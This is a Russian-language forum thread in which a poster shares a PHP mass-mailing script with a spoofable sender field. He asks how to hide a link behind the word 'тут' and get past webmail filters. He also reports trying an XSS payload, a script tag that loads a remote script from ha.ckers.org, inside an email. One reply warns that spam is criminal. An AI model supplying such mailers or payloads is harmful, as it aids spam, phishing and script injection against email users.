Вопрос к знающим людям. Загрузил я на хост следующий php PHP: <? if (@function_exists("mail")) { include "config.php"; ?> <? if (isset($_GET['send']) and isset($_POST['sform'])) { $to = trim($_POST['to']); if ($to != "") { $from = $_POST['from']; $theme = $_POST['theme']; $content = $_POST['content']; $to = ereg_replace (",([^ ]{1})", ", \\1", $to); $theme = $theme==""?"No subject":$theme; if (@$_POST['cyr_encode'] == "yes") $theme = "=?koi8-r?B?".base64_encode(convert_cyr_string($theme, "w","k"))."?="; if (@$_POST['html'] == "yes") $ctype = "html"; else $ctype = "plane"; $header = "Content-Type: text/$ctype; charset=\"$charset\" \r\n"; $header .= "From: $from \r\n"; $header .= "X-Mailer: PHP-Mailer by s1ayer[www.spg.arbse.net] \r\n"; if (@$_POST['hide_addr'] == "yes") { $error = 0; $to_array = explode (", ", $to); for ($i=0; $i<count($to_array); $i++) { if ($to_array == "") continue; if (!@mail($to_array[$i], $theme, $content, $header)) $error++; } if ($error == 0) print "Отправка письма завершилась без ошибок<br><br>"; else print "Невозможно отправить письмо!<br><br>"; } else { if (@mail($to, $theme, $content, $header)) print "Отправка письма завершилась без ошибок<br><br>"; else print "Невозможно отправить письмо!<br><br>"; } } else print "Вы не заполнили поле 'Кому' !<br><br>"; } ?> <SCRIPT LANGUAGE="JavaScript"> <!-- function hide_button (){ document.getElementById('button').style.display = "none"; document.getElementById('processing').style.display = "block"; } //--> </SCRIPT> <form action="?send" method="post"> <table> <tr><td>Кому:</td><td><input type="text" name="to" value="<?=$default_to?>" size=40></td></tr> <tr><td>От кого:</td><td><input type="text" name="from" value="<?=$default_from?>" size=40></td></tr> <tr><td>Тема:</td><td><input type="text" name="theme" size=40></td></tr> <tr><td valign="top">Содержание:</td><td><textarea name="content" rows=9 cols=50><?=$default_sign?></textarea></td></tr> <tr><td colspan=2> Опции:<br> <ul> <li>отправить в HTML ? <input type="checkbox" name="html" value="yes"></li> <li>кодировать заголовок письма в koi8 ? <input type="checkbox" name="cyr_encode" value="yes" checked></li> <li>скрыть других адресатов ? <input type="checkbox" name="hide_addr" value="yes" checked></li> </ul> </td> </tr> <tr><td colspan=2 align="right"><input type="hidden" name="sform" value="yes"><input type="submit" value="Отправить" id=button style="display: block" onClick="hide_button()"><button id="processing" style="display: none" disabled>Пожалуйста, ждите...</button></td></tr> </table> </form> <? } else print "Извините, сервер не поддерживает функции <tt>mail ()</tt>"; ?> PHP: <? $charset = "windows-1251"; //кодировка письма $default_to = "Кому"; //адресаты по умолчанию $default_from = "Ваш маил"; //отправитель по умолчанию $default_sign = "С уважениям Я"; //подпись в теле письма ?> Отправляю письма на yandex все пашет, но не хочет отправлять письма в html формате. В тексте письма написал следующее [ URL="http://yandex.ru"]тут[/URL] и пришло письмо тоже самое [ URL="http://yandex.ru"]тут[/URL] а мне нужно что бы ссылка на любой сайт была на слове "тут" В чем проблема, подскажите?! [ URL="http://yandex.ru"]тут[/URL] после скобки пробела не ставил. Просто тут поставил, дабы писанина была видна.
Да, но мне же как то черканули такую ссылку. Значит и этих умников обойти можно))) Может знает кто, как можно такое письмецо отправить?
попробуй создать html-файл с кодом нужной ссылки(или всем текстом) и приаттачить, его код будет на странице
на rambler даходит вот такая ссылка badurl:\"http://test.ru\" а через fox пишет что badurl не связан ни с одним приложением и не может открыть.
Я в англиском не силен. Чета я там ниче не дарубил. Попробовал отправить <SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT> Но пришло пустое письмо.
Если бы я его отлично знал, я бы не спрашивал здесь совета. Ну это не по теме. Может у кого нить еще есть варианты как отправить ссылку под словом "тут"
1 посмотри то письмо, что тепе черканули 2 спам уголовно наказуем 3 если мне придет ссылка тут - я знаю, ка кого указать в п.2 )